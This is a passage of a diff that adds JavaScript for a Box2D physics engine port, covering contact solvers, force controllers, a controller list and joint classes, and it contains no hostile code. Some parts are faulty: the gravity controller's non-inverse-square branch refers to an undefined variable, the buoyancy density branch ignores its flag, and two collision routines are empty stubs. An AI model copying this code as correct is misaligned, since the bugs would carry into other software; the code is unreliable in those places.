+ Box2D.Common.Math.b2Math.Clamp(baumgarte * (separation + Box2D.Common.b2Settings.b2_linearSlop), (-Box2D.Common.b2Settings.b2_maxLinearCorrection), 0.0);
+ }
+ var impulse = (-ccp.equalizedMass * C);
+ var PX = impulse * normal.x;
+ var PY = impulse * normal.y;
+ bodyA.m_sweep.c.x -= invMassA * PX;
+ bodyA.m_sweep.c.y -= invMassA * PY;
+ bodyA.m_sweep.a -= invIA * (rAX * PY - rAY * PX);
+ bodyA.SynchronizeTransform();
+ bodyB.m_sweep.c.x += invMassB * PX;
+ bodyB.m_sweep.c.y += invMassB * PY;
+ bodyB.m_sweep.a += invIB * (rBX * PY - rBY * PX);
+ bodyB.SynchronizeTransform();
+ }
+ }
+ return minSeparation > (-1.5 * Box2D.Common.b2Settings.b2_linearSlop);
+};
+/**
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureA
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureB
+ * @constructor
+ * @extends {Box2D.Dynamics.Contacts.b2Contact}
+ */
+Box2D.Dynamics.Contacts.b2EdgeAndCircleContact = function(fixtureA, fixtureB) {
+ Box2D.Dynamics.Contacts.b2Contact.call(this, fixtureA, fixtureB);
+};
+c2inherit(Box2D.Dynamics.Contacts.b2EdgeAndCircleContact, Box2D.Dynamics.Contacts.b2Contact);
+/**
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureA
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureB
+ */
+Box2D.Dynamics.Contacts.b2EdgeAndCircleContact.prototype.Reset = function(fixtureA, fixtureB) {
+ Box2D.Dynamics.Contacts.b2Contact.prototype.Reset.call(this, fixtureA, fixtureB);
+};
+Box2D.Dynamics.Contacts.b2EdgeAndCircleContact.prototype.Evaluate = function() {
+ var bA = this.m_fixtureA.GetBody();
+ var bB = this.m_fixtureB.GetBody();
+ this.b2CollideEdgeAndCircle(this.m_manifold, this.m_fixtureA.GetShape(), this.m_fixtureA.GetBody().m_xf, this.m_fixtureB.GetShape(), this.m_fixtureB.GetBody().m_xf);
+};
+Box2D.Dynamics.Contacts.b2EdgeAndCircleContact.prototype.b2CollideEdgeAndCircle = function(manifold, edge, xf1, circle, xf2) {};
+/**
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureA
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureB
+ * @constructor
+ * @extends {Box2D.Dynamics.Contacts.b2Contact}
+ */
+Box2D.Dynamics.Contacts.b2PolyAndCircleContact = function(fixtureA, fixtureB) {
+;
+;
+ Box2D.Dynamics.Contacts.b2Contact.call(this, fixtureA, fixtureB);
+};
+c2inherit(Box2D.Dynamics.Contacts.b2PolyAndCircleContact, Box2D.Dynamics.Contacts.b2Contact);
+/**
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureA
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureB
+ */
+Box2D.Dynamics.Contacts.b2PolyAndCircleContact.prototype.Reset = function(fixtureA, fixtureB) {
+;
+;
+ Box2D.Dynamics.Contacts.b2Contact.prototype.Reset.call(this, fixtureA, fixtureB);
+};
+Box2D.Dynamics.Contacts.b2PolyAndCircleContact.prototype.Evaluate = function() {
+ Box2D.Collision.b2Collision.CollidePolygonAndCircle(this.m_manifold, this.m_fixtureA.GetShape(), this.m_fixtureA.GetBody().m_xf, this.m_fixtureB.GetShape(), this.m_fixtureB.GetBody().m_xf);
+};
+/**
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureA
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureB
+ * @constructor
+ * @extends {Box2D.Dynamics.Contacts.b2Contact}
+ */
+Box2D.Dynamics.Contacts.b2PolyAndEdgeContact = function(fixtureA, fixtureB) {
+;
+;
+ Box2D.Dynamics.Contacts.b2Contact.call(this, fixtureA, fixtureB);
+};
+c2inherit(Box2D.Dynamics.Contacts.b2PolyAndEdgeContact, Box2D.Dynamics.Contacts.b2Contact);
+/**
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureA
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureB
+ */
+Box2D.Dynamics.Contacts.b2PolyAndEdgeContact.prototype.Reset = function(fixtureA, fixtureB) {
+;
+;
+ Box2D.Dynamics.Contacts.b2Contact.prototype.Reset.call(this, fixtureA, fixtureB);
+};
+Box2D.Dynamics.Contacts.b2PolyAndEdgeContact.prototype.Evaluate = function() {
+ this.b2CollidePolyAndEdge(this.m_manifold, this.m_fixtureA.GetShape(), this.m_fixtureA.GetBody().m_xf, this.m_fixtureB.GetShape(), this.m_fixtureB.GetBody().m_xf);
+};
+Box2D.Dynamics.Contacts.b2PolyAndEdgeContact.prototype.b2CollidePolyAndEdge = function (manifold, polygon, xf1, edge, xf2) {};
+/**
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureA
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureB
+ * @constructor
+ * @extends {Box2D.Dynamics.Contacts.b2Contact}
+ */
+Box2D.Dynamics.Contacts.b2PolygonContact = function(fixtureA, fixtureB) {
+ Box2D.Dynamics.Contacts.b2Contact.call(this, fixtureA, fixtureB);
+};
+c2inherit(Box2D.Dynamics.Contacts.b2PolygonContact, Box2D.Dynamics.Contacts.b2Contact);
+/**
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureA
+ * @param {!Box2D.Dynamics.b2Fixture} fixtureB
+ */
+Box2D.Dynamics.Contacts.b2PolygonContact.prototype.Reset = function(fixtureA, fixtureB) {
+ Box2D.Dynamics.Contacts.b2Contact.prototype.Reset.call(this, fixtureA, fixtureB);
+};
+Box2D.Dynamics.Contacts.b2PolygonContact.prototype.Evaluate = function() {
+ Box2D.Collision.b2Collision.CollidePolygons(this.m_manifold, this.m_fixtureA.GetShape(), this.m_fixtureA.GetBody().m_xf, this.m_fixtureB.GetShape(), this.m_fixtureB.GetBody().m_xf);
+};
+/**
+ * @constructor
+ */
+Box2D.Dynamics.Controllers.b2Controller = function() {
+ /**
+ * @const
+ * @private
+ * @type {string}
+ */
+ this.ID = "Controller" + Box2D.Dynamics.Controllers.b2Controller.NEXT_ID++;
+ /**
+ * @type {Box2D.Dynamics.b2World}
+ */
+ this.m_world = null;
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.b2BodyList}
+ */
+ this.bodyList = new Box2D.Dynamics.b2BodyList();
+};
+Box2D.Dynamics.Controllers.b2Controller.prototype.Step = function(step) {};
+/**
+ * @param {!Box2D.Dynamics.b2Body} body
+ */
+Box2D.Dynamics.Controllers.b2Controller.prototype.AddBody = function(body) {
+ this.bodyList.AddBody(body);
+ body.AddController(this);
+};
+/**
+ * @param {!Box2D.Dynamics.b2Body} body
+ */
+Box2D.Dynamics.Controllers.b2Controller.prototype.RemoveBody = function(body) {
+ this.bodyList.RemoveBody(body);
+ body.RemoveController(this);
+};
+Box2D.Dynamics.Controllers.b2Controller.prototype.Clear = function() {
+ for (var node = this.bodyList.GetFirstNode(Box2D.Dynamics.b2BodyList.TYPES.allBodies); node; node = node.GetNextNode()) {
+ this.RemoveBody(node.body);
+ }
+};
+/**
+ * @return {!Box2D.Dynamics.b2BodyList}
+ */
+Box2D.Dynamics.Controllers.b2Controller.prototype.GetBodyList = function() {
+ return this.bodyList;
+};
+/**
+ * @type {number}
+ * @private
+ */
+Box2D.Dynamics.Controllers.b2Controller.NEXT_ID = 0;
+/**
+ * @constructor
+ * @extends {Box2D.Dynamics.Controllers.b2Controller}
+ */
+Box2D.Dynamics.Controllers.b2BuoyancyController = function() {
+ Box2D.Dynamics.Controllers.b2Controller.call(this);
+ this.normal = Box2D.Common.Math.b2Vec2.Get(0, -1);
+ this.offset = 0;
+ this.density = 0;
+ this.velocity = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.linearDrag = 2;
+ this.angularDrag = 1;
+ this.useDensity = false;
+ this.useWorldGravity = true;
+ this.gravity = null;
+};
+c2inherit(Box2D.Dynamics.Controllers.b2BuoyancyController, Box2D.Dynamics.Controllers.b2Controller);
+Box2D.Dynamics.Controllers.b2BuoyancyController.prototype.Step = function(step) {
+ if (this.useWorldGravity) {
+ this.gravity = this.m_world.GetGravity().Copy();
+ }
+ for (var bodyNode = this.bodyList.GetFirstNode(Box2D.Dynamics.b2BodyList.TYPES.awakeBodies); bodyNode; bodyNode = bodyNode.GetNextNode()) {
+ var body = bodyNode.body;
+ var areac = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ var massc = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ var area = 0.0;
+ var mass = 0.0;
+ for (var fixtureNode = body.GetFixtureList().GetFirstNode(); fixtureNode; fixtureNode = fixtureNode.GetNextNode()) {
+ var sc = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ var sarea = fixtureNode.fixture.GetShape().ComputeSubmergedArea(this.normal, this.offset, body.GetTransform(), sc);
+ area += sarea;
+ areac.x += sarea * sc.x;
+ areac.y += sarea * sc.y;
+ var shapeDensity = 0;
+ if (this.useDensity) {
+ shapeDensity = 1;
+ } else {
+ shapeDensity = 1;
+ }
+ mass += sarea * shapeDensity;
+ massc.x += sarea * sc.x * shapeDensity;
+ massc.y += sarea * sc.y * shapeDensity;
+ }
+ if (area < Number.MIN_VALUE) {
+ continue;
+ }
+ areac.x /= area;
+ areac.y /= area;
+ massc.x /= mass;
+ massc.y /= mass;
+ var buoyancyForce = this.gravity.GetNegative();
+ buoyancyForce.Multiply(this.density * area);
+ body.ApplyForce(buoyancyForce, massc);
+ var dragForce = body.GetLinearVelocityFromWorldPoint(areac);
+ dragForce.Subtract(this.velocity);
+ dragForce.Multiply((-this.linearDrag * area));
+ body.ApplyForce(dragForce, areac);
+ body.ApplyTorque((-body.GetInertia() / body.GetMass() * area * body.GetAngularVelocity() * this.angularDrag));
+ Box2D.Common.Math.b2Vec2.Free(areac);
+ Box2D.Common.Math.b2Vec2.Free(massc);
+ }
+};
+/**
+ * @constructor
+ * @extends {Box2D.Dynamics.Controllers.b2Controller}
+ */
+Box2D.Dynamics.Controllers.b2ConstantAccelController = function() {
+ Box2D.Dynamics.Controllers.b2Controller.call(this);
+ this.A = Box2D.Common.Math.b2Vec2.Get(0, 0);
+};
+c2inherit(Box2D.Dynamics.Controllers.b2ConstantAccelController, Box2D.Dynamics.Controllers.b2Controller);
+Box2D.Dynamics.Controllers.b2ConstantAccelController.prototype.Step = function(step) {
+ var smallA = Box2D.Common.Math.b2Vec2.Get(this.A.x * step.dt, this.A.y * step.dt);
+ for (var bodyNode = this.bodyList.GetFirstNode(Box2D.Dynamics.b2BodyList.TYPES.awakeBodies); bodyNode; bodyNode = bodyNode.GetNextNode()) {
+ var body = bodyNode.body;
+ var oldVelocity = body.GetLinearVelocity();
+ body.SetLinearVelocity(Box2D.Common.Math.b2Vec2.Get(oldVelocity.x + smallA.x, oldVelocity.y + smallA.y));
+ }
+ Box2D.Common.Math.b2Vec2.Free(smallA);
+};
+/**
+ * @constructor
+ * @extends {Box2D.Dynamics.Controllers.b2Controller}
+ */
+Box2D.Dynamics.Controllers.b2ConstantForceController = function() {
+ Box2D.Dynamics.Controllers.b2Controller.call(this);
+ this.F = Box2D.Common.Math.b2Vec2.Get(0, 0);
+};
+c2inherit(Box2D.Dynamics.Controllers.b2ConstantForceController, Box2D.Dynamics.Controllers.b2Controller);
+Box2D.Dynamics.Controllers.b2ConstantForceController.prototype.Step = function(step) {
+ for (var bodyNode = this.bodyList.GetFirstNode(Box2D.Dynamics.b2BodyList.TYPES.awakeBodies); bodyNode; bodyNode = bodyNode.GetNextNode()) {
+ var body = bodyNode.body;
+ body.ApplyForce(this.F, body.GetWorldCenter());
+ }
+};
+/**
+ * @constructor
+ */
+Box2D.Dynamics.Controllers.b2ControllerList = function() {
+ /**
+ * @private
+ * @type {Box2D.Dynamics.Controllers.b2ControllerListNode}
+ */
+ this.controllerFirstNode = null;
+ /**
+ * @private
+ * @type {Box2D.Dynamics.Controllers.b2ControllerListNode}
+ */
+ this.controllerLastNode = null;
+ /**
+ * @private
+ * @type {Object.}
+ */
+ this.controllerNodeLookup = {};
+ /**
+ * @private
+ * @type {number}
+ */
+ this.controllerCount = 0;
+};
+/**
+ * @return {Box2D.Dynamics.Controllers.b2ControllerListNode}
+ */
+Box2D.Dynamics.Controllers.b2ControllerList.prototype.GetFirstNode = function() {
+ return this.controllerFirstNode;
+};
+/**
+ * @param {!Box2D.Dynamics.Controllers.b2Controller} controller
+ */
+Box2D.Dynamics.Controllers.b2ControllerList.prototype.AddController = function(controller) {
+ var controllerID = controller.ID;
+ if (this.controllerNodeLookup[controllerID] == null) {
+ var node = new Box2D.Dynamics.Controllers.b2ControllerListNode(controller);
+ var prevNode = this.controllerLastNode;
+ if (prevNode != null) {
+ prevNode.SetNextNode(node);
+ } else {
+ this.controllerFirstNode = node;
+ }
+ node.SetPreviousNode(prevNode);
+ this.controllerLastNode = node;
+ this.controllerNodeLookup[controllerID] = node;
+ this.controllerCount++;
+ }
+};
+/**
+ * @param {!Box2D.Dynamics.Controllers.b2Controller} controller
+ */
+Box2D.Dynamics.Controllers.b2ControllerList.prototype.RemoveController = function(controller) {
+ var controllerID = controller.ID;
+ var node = this.controllerNodeLookup[controllerID];
+ if (node == null) {
+ return;
+ }
+ var prevNode = node.GetPreviousNode();
+ var nextNode = node.GetNextNode();
+ if (prevNode == null) {
+ this.controllerFirstNode = nextNode;
+ } else {
+ prevNode.SetNextNode(nextNode);
+ }
+ if (nextNode == null) {
+ this.controllerLastNode = prevNode;
+ } else {
+ nextNode.SetPreviousNode(prevNode);
+ }
+ delete this.controllerNodeLookup[controllerID];
+ this.controllerCount--;
+};
+/**
+ * @return {number}
+ */
+Box2D.Dynamics.Controllers.b2ControllerList.prototype.GetControllerCount = function() {
+ return this.controllerCount;
+};
+/**
+ * @param {!Box2D.Dynamics.Controllers.b2Controller} controller
+ * @constructor
+ */
+Box2D.Dynamics.Controllers.b2ControllerListNode = function(controller) {
+ /**
+ * @const
+ * @type {!Box2D.Dynamics.Controllers.b2Controller}
+ */
+ this.controller = controller;
+ /**
+ * @private
+ * @type {Box2D.Dynamics.Controllers.b2ControllerListNode}
+ */
+ this.next = null;
+ /**
+ * @private
+ * @type {Box2D.Dynamics.Controllers.b2ControllerListNode}
+ */
+ this.previous = null;
+};
+/**
+ * @param {Box2D.Dynamics.Controllers.b2ControllerListNode} node
+ */
+Box2D.Dynamics.Controllers.b2ControllerListNode.prototype.SetNextNode = function(node) {
+ this.next = node;
+};
+/**
+ * @param {Box2D.Dynamics.Controllers.b2ControllerListNode} node
+ */
+Box2D.Dynamics.Controllers.b2ControllerListNode.prototype.SetPreviousNode = function(node) {
+ this.previous = node;
+};
+/**
+ * @return {Box2D.Dynamics.Controllers.b2ControllerListNode}
+ */
+Box2D.Dynamics.Controllers.b2ControllerListNode.prototype.GetNextNode = function() {
+ return this.next;
+};
+/**
+ * @return {Box2D.Dynamics.Controllers.b2ControllerListNode}
+ */
+Box2D.Dynamics.Controllers.b2ControllerListNode.prototype.GetPreviousNode = function() {
+ return this.previous;
+};
+/**
+ * @constructor
+ * @extends {Box2D.Dynamics.Controllers.b2Controller}
+ */
+Box2D.Dynamics.Controllers.b2GravityController = function() {
+ Box2D.Dynamics.Controllers.b2Controller.call(this);
+ this.G = 1;
+ this.invSqr = true;
+};
+c2inherit(Box2D.Dynamics.Controllers.b2GravityController, Box2D.Dynamics.Controllers.b2Controller);
+Box2D.Dynamics.Controllers.b2GravityController.prototype.Step = function(step) {
+ var i = null;
+ var body1 = null;
+ var p1 = null;
+ var mass1 = 0;
+ var j = null;
+ var body2 = null;
+ var p2 = null;
+ var dx = 0;
+ var dy = 0;
+ var r2 = 0;
+ var f = null;
+ if (this.invSqr) {
+ for (var body1Node = this.bodyList.GetFirstNode(Box2D.Dynamics.b2BodyList.TYPES.allBodies); body1Node; body1Node = body1Node.GetNextNode()) {
+ var body1 = body1Node.body;
+ var p1 = body1.GetWorldCenter();
+ var mass1 = body1.GetMass();
+ for (var body2Node = this.bodyList.GetFirstNode(Box2D.Dynamics.b2BodyList.TYPES.allBodies); body2Node; body2Node = body2Node.GetNextNode()) {
+ var body2 = body2Node.body;
+ if ( !body1.IsAwake() && !body2.IsAwake() ) {
+ continue;
+ }
+ var p2 = body2.GetWorldCenter();
+ var dx = p2.x - p1.x;
+ var dy = p2.y - p1.y;
+ var r2 = dx * dx + dy * dy;
+ if (r2 < Number.MIN_VALUE) {
+ continue;
+ }
+ var f = Box2D.Common.Math.b2Vec2.Get(dx, dy);
+ f.Multiply(this.G / r2 / Math.sqrt(r2) * mass1 * body2.GetMass());
+ if (body1.IsAwake()) {
+ body1.ApplyForce(f, p1);
+ }
+ f.Multiply(-1);
+ if (body2.IsAwake()) {
+ body2.ApplyForce(f, p2);
+ }
+ Box2D.Common.Math.b2Vec2.Free(f);
+ }
+ }
+ } else {
+ for (var body1Node = this.bodyList.GetFirstNode(Box2D.Dynamics.b2BodyList.TYPES.allBodies); body1Node; body1Node = body1Node.GetNextNode()) {
+ var body1 = bodyNode.body;
+ var p1 = body1.GetWorldCenter();
+ var mass1 = body1.GetMass();
+ for (var body2Node = this.bodyList.GetFirstNode(Box2D.Dynamics.b2BodyList.TYPES.allBodies); body2Node; body2Node = body2Node.GetNextNode()) {
+ var body2 = bodyNode.body;
+ if ( !body1.IsAwake() && !body2.IsAwake() ) {
+ continue;
+ }
+ var p2 = body2.GetWorldCenter();
+ var dx = p2.x - p1.x;
+ var dy = p2.y - p1.y;
+ var r2 = dx * dx + dy * dy;
+ if (r2 < Number.MIN_VALUE) {
+ continue;
+ }
+ var f = Box2D.Common.Math.b2Vec2.Get(dx, dy);
+ f.Multiply(this.G / r2 * mass1 * body2.GetMass());
+ if (body1.IsAwake()) {
+ body1.ApplyForce(f, p1);
+ }
+ f.Multiply(-1);
+ if (body2.IsAwake()) {
+ body2.ApplyForce(f, p2);
+ }
+ Box2D.Common.Math.b2Vec2.Free(f);
+ }
+ }
+ }
+};
+/**
+ * @constructor
+ * @extends {Box2D.Dynamics.Controllers.b2Controller}
+ */
+Box2D.Dynamics.Controllers.b2TensorDampingController = function() {
+ Box2D.Dynamics.Controllers.b2Controller.call(this);
+ this.T = new Box2D.Common.Math.b2Mat22();
+ this.maxTimestep = 0;
+};
+c2inherit(Box2D.Dynamics.Controllers.b2TensorDampingController, Box2D.Dynamics.Controllers.b2Controller);
+/**
+ * @param {number} xDamping
+ * @param {number} yDamping
+ */
+Box2D.Dynamics.Controllers.b2TensorDampingController.prototype.SetAxisAligned = function(xDamping, yDamping) {
+ this.T.col1.x = (-xDamping);
+ this.T.col1.y = 0;
+ this.T.col2.x = 0;
+ this.T.col2.y = (-yDamping);
+ if (xDamping > 0 || yDamping > 0) {
+ this.maxTimestep = 1 / Math.max(xDamping, yDamping);
+ } else {
+ this.maxTimestep = 0;
+ }
+};
+Box2D.Dynamics.Controllers.b2TensorDampingController.prototype.Step = function(step) {
+ var timestep = step.dt;
+ if (timestep <= Number.MIN_VALUE) return;
+ if (timestep > this.maxTimestep && this.maxTimestep > 0) timestep = this.maxTimestep;
+ for (var bodyNode = this.bodyList.GetFirstNode(Box2D.Dynamics.b2BodyList.TYPES.awakeBodies); bodyNode; bodyNode = bodyNode.GetNextNode()) {
+ var body = bodyNode.body;
+ var damping = body.GetWorldVector(Box2D.Common.Math.b2Math.MulMV(this.T, body.GetLocalVector(body.GetLinearVelocity())));
+ body.SetLinearVelocity(Box2D.Common.Math.b2Vec2.Get(body.GetLinearVelocity().x + damping.x * timestep, body.GetLinearVelocity().y + damping.y * timestep));
+ }
+};
+/**
+ * @param {!Box2D.Dynamics.Joints.b2JointDef} def
+ * @constructor
+ */
+Box2D.Dynamics.Joints.b2Joint = function(def) {
+ this.m_edgeA = new Box2D.Dynamics.Joints.b2JointEdge();
+ this.m_edgeB = new Box2D.Dynamics.Joints.b2JointEdge();
+ this.m_localCenterA = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_localCenterB = Box2D.Common.Math.b2Vec2.Get(0, 0);
+;
+ this.m_type = def.type;
+ this.m_prev = null;
+ this.m_next = null;
+ this.m_bodyA = def.bodyA;
+ this.m_bodyB = def.bodyB;
+ this.m_collideConnected = def.collideConnected;
+};
+Box2D.Dynamics.Joints.b2Joint.prototype.GetType = function() {
+ return this.m_type;
+};
+Box2D.Dynamics.Joints.b2Joint.prototype.GetAnchorA = function() {
+ return null;
+};
+Box2D.Dynamics.Joints.b2Joint.prototype.GetAnchorB = function() {
+ return null;
+};
+Box2D.Dynamics.Joints.b2Joint.prototype.GetReactionForce = function(inv_dt) {
+ if (inv_dt === undefined) inv_dt = 0;
+ return null;
+};
+Box2D.Dynamics.Joints.b2Joint.prototype.GetReactionTorque = function(inv_dt) {
+ if (inv_dt === undefined) inv_dt = 0;
+ return 0.0;
+};
+Box2D.Dynamics.Joints.b2Joint.prototype.GetBodyA = function() {
+ return this.m_bodyA;
+};
+Box2D.Dynamics.Joints.b2Joint.prototype.GetBodyB = function() {
+ return this.m_bodyB;
+};
+Box2D.Dynamics.Joints.b2Joint.prototype.GetNext = function() {
+ return this.m_next;
+};
+Box2D.Dynamics.Joints.b2Joint.prototype.IsActive = function() {
+ return this.m_bodyA.IsActive() && this.m_bodyB.IsActive();
+};
+Box2D.Dynamics.Joints.b2Joint.Create = function(def) {
+ return def.Create();
+};
+Box2D.Dynamics.Joints.b2Joint.prototype.InitVelocityConstraints = function(step) {};
+Box2D.Dynamics.Joints.b2Joint.prototype.SolveVelocityConstraints = function(step) {};
+Box2D.Dynamics.Joints.b2Joint.prototype.FinalizeVelocityConstraints = function() {};
+Box2D.Dynamics.Joints.b2Joint.prototype.SolvePositionConstraints = function(baumgarte) {
+ return false;
+};
+Box2D.Dynamics.Joints.b2Joint.e_unknownJoint = 0;
+Box2D.Dynamics.Joints.b2Joint.e_revoluteJoint = 1;
+Box2D.Dynamics.Joints.b2Joint.e_prismaticJoint = 2;
+Box2D.Dynamics.Joints.b2Joint.e_distanceJoint = 3;
+Box2D.Dynamics.Joints.b2Joint.e_pulleyJoint = 4;
+Box2D.Dynamics.Joints.b2Joint.e_mouseJoint = 5;
+Box2D.Dynamics.Joints.b2Joint.e_gearJoint = 6;
+Box2D.Dynamics.Joints.b2Joint.e_lineJoint = 7;
+Box2D.Dynamics.Joints.b2Joint.e_weldJoint = 8;
+Box2D.Dynamics.Joints.b2Joint.e_frictionJoint = 9;
+Box2D.Dynamics.Joints.b2Joint.e_inactiveLimit = 0;
+Box2D.Dynamics.Joints.b2Joint.e_atLowerLimit = 1;
+Box2D.Dynamics.Joints.b2Joint.e_atUpperLimit = 2;
+Box2D.Dynamics.Joints.b2Joint.e_equalLimits = 3;
+/**
+ * @constructor
+ */
+Box2D.Dynamics.Joints.b2JointDef = function () {
+ this.type = Box2D.Dynamics.Joints.b2Joint.e_unknownJoint;
+ this.bodyA = null;
+ this.bodyB = null;
+ this.collideConnected = false;
+};
+/**
+ * @constructor
+ */
+Box2D.Dynamics.Joints.b2JointEdge = function () {};
+/**
+ * @param {!Box2D.Dynamics.Joints.b2DistanceJointDef} def
+ * @constructor
+ * @extends {Box2D.Dynamics.Joints.b2Joint}
+ */
+Box2D.Dynamics.Joints.b2DistanceJoint = function(def) {
+ Box2D.Dynamics.Joints.b2Joint.call(this, def);
+ this.m_localAnchor1 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_localAnchor2 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_u = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_localAnchor1.SetV(def.localAnchorA);
+ this.m_localAnchor2.SetV(def.localAnchorB);
+ this.m_length = def.length;
+ this.m_frequencyHz = def.frequencyHz;
+ this.m_dampingRatio = def.dampingRatio;
+ this.m_impulse = 0.0;
+ this.m_gamma = 0.0;
+ this.m_bias = 0.0;
+};
+c2inherit(Box2D.Dynamics.Joints.b2DistanceJoint, Box2D.Dynamics.Joints.b2Joint);
+Box2D.Dynamics.Joints.b2DistanceJoint.prototype.GetAnchorA = function() {
+ return this.m_bodyA.GetWorldPoint(this.m_localAnchor1);
+};
+Box2D.Dynamics.Joints.b2DistanceJoint.prototype.GetAnchorB = function() {
+ return this.m_bodyB.GetWorldPoint(this.m_localAnchor2);
+};
+/**
+ * @param {number} inv_dt
+ */
+Box2D.Dynamics.Joints.b2DistanceJoint.prototype.GetReactionForce = function(inv_dt) {
+ return Box2D.Common.Math.b2Vec2.Get(inv_dt * this.m_impulse * this.m_u.x, inv_dt * this.m_impulse * this.m_u.y);
+};
+/**
+ * @param {number} inv_dt
+ */
+Box2D.Dynamics.Joints.b2DistanceJoint.prototype.GetReactionTorque = function(inv_dt) {
+ return 0.0;
+};
+Box2D.Dynamics.Joints.b2DistanceJoint.prototype.GetLength = function() {
+ return this.m_length;
+};
+/**
+ * @param {number} length
+ */
+Box2D.Dynamics.Joints.b2DistanceJoint.prototype.SetLength = function(length) {
+ this.m_length = length;
+};
+Box2D.Dynamics.Joints.b2DistanceJoint.prototype.GetFrequency = function() {
+ return this.m_frequencyHz;
+};
+/**
+ * @param {number} hz
+ */
+Box2D.Dynamics.Joints.b2DistanceJoint.prototype.SetFrequency = function(hz) {
+ this.m_frequencyHz = hz;
+};
+Box2D.Dynamics.Joints.b2DistanceJoint.prototype.GetDampingRatio = function() {
+ return this.m_dampingRatio;
+};
+/**
+ * @param {number} ratio
+ */
+Box2D.Dynamics.Joints.b2DistanceJoint.prototype.SetDampingRatio = function(ratio) {
+ this.m_dampingRatio = ratio;
+};
+Box2D.Dynamics.Joints.b2DistanceJoint.prototype.InitVelocityConstraints = function(step) {
+ var tMat;
+ var tX = 0;
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ tMat = bA.m_xf.R;
+ var r1X = this.m_localAnchor1.x - bA.m_sweep.localCenter.x;
+ var r1Y = this.m_localAnchor1.y - bA.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * r1X + tMat.col2.x * r1Y);
+ r1Y = (tMat.col1.y * r1X + tMat.col2.y * r1Y);
+ r1X = tX;
+ tMat = bB.m_xf.R;
+ var r2X = this.m_localAnchor2.x - bB.m_sweep.localCenter.x;
+ var r2Y = this.m_localAnchor2.y - bB.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * r2X + tMat.col2.x * r2Y);
+ r2Y = (tMat.col1.y * r2X + tMat.col2.y * r2Y);
+ r2X = tX;
+ this.m_u.x = bB.m_sweep.c.x + r2X - bA.m_sweep.c.x - r1X;
+ this.m_u.y = bB.m_sweep.c.y + r2Y - bA.m_sweep.c.y - r1Y;
+ var length = Math.sqrt(this.m_u.x * this.m_u.x + this.m_u.y * this.m_u.y);
+ if (length > Box2D.Common.b2Settings.b2_linearSlop) {
+ this.m_u.Multiply(1.0 / length);
+ } else {
+ this.m_u.SetZero();
+ }
+ var cr1u = (r1X * this.m_u.y - r1Y * this.m_u.x);
+ var cr2u = (r2X * this.m_u.y - r2Y * this.m_u.x);
+ var invMass = bA.m_invMass + bA.m_invI * cr1u * cr1u + bB.m_invMass + bB.m_invI * cr2u * cr2u;
+ this.m_mass = invMass != 0.0 ? 1.0 / invMass : 0.0;
+ if (this.m_frequencyHz > 0.0) {
+ var C = length - this.m_length;
+ var omega = 2.0 * Math.PI * this.m_frequencyHz;
+ var d = 2.0 * this.m_mass * this.m_dampingRatio * omega;
+ var k = this.m_mass * omega * omega;
+ this.m_gamma = step.dt * (d + step.dt * k);
+ this.m_gamma = this.m_gamma != 0.0 ? 1 / this.m_gamma : 0.0;
+ this.m_bias = C * step.dt * k * this.m_gamma;
+ this.m_mass = invMass + this.m_gamma;
+ this.m_mass = this.m_mass != 0.0 ? 1.0 / this.m_mass : 0.0;
+ }
+ if (step.warmStarting) {
+ this.m_impulse *= step.dtRatio;
+ var PX = this.m_impulse * this.m_u.x;
+ var PY = this.m_impulse * this.m_u.y;
+ bA.m_linearVelocity.x -= bA.m_invMass * PX;
+ bA.m_linearVelocity.y -= bA.m_invMass * PY;
+ bA.m_angularVelocity -= bA.m_invI * (r1X * PY - r1Y * PX);
+ bB.m_linearVelocity.x += bB.m_invMass * PX;
+ bB.m_linearVelocity.y += bB.m_invMass * PY;
+ bB.m_angularVelocity += bB.m_invI * (r2X * PY - r2Y * PX);
+ } else {
+ this.m_impulse = 0.0;
+ }
+};
+Box2D.Dynamics.Joints.b2DistanceJoint.prototype.SolveVelocityConstraints = function(step) {
+ var r1X = this.m_localAnchor1.x - this.m_bodyA.m_sweep.localCenter.x;
+ var r1Y = this.m_localAnchor1.y - this.m_bodyA.m_sweep.localCenter.y;
+ var tX = (this.m_bodyA.m_xf.R.col1.x * r1X + this.m_bodyA.m_xf.R.col2.x * r1Y);
+ r1Y = (this.m_bodyA.m_xf.R.col1.y * r1X + this.m_bodyA.m_xf.R.col2.y * r1Y);
+ r1X = tX;
+ var r2X = this.m_localAnchor2.x - this.m_bodyB.m_sweep.localCenter.x;
+ var r2Y = this.m_localAnchor2.y - this.m_bodyB.m_sweep.localCenter.y;
+ tX = (this.m_bodyB.m_xf.R.col1.x * r2X + this.m_bodyB.m_xf.R.col2.x * r2Y);
+ r2Y = (this.m_bodyB.m_xf.R.col1.y * r2X + this.m_bodyB.m_xf.R.col2.y * r2Y);
+ r2X = tX;
+ var v1X = this.m_bodyA.m_linearVelocity.x - this.m_bodyA.m_angularVelocity * r1Y;
+ var v1Y = this.m_bodyA.m_linearVelocity.y + this.m_bodyA.m_angularVelocity * r1X;
+ var v2X = this.m_bodyB.m_linearVelocity.x - this.m_bodyB.m_angularVelocity * r2Y;
+ var v2Y = this.m_bodyB.m_linearVelocity.y + this.m_bodyB.m_angularVelocity * r2X;
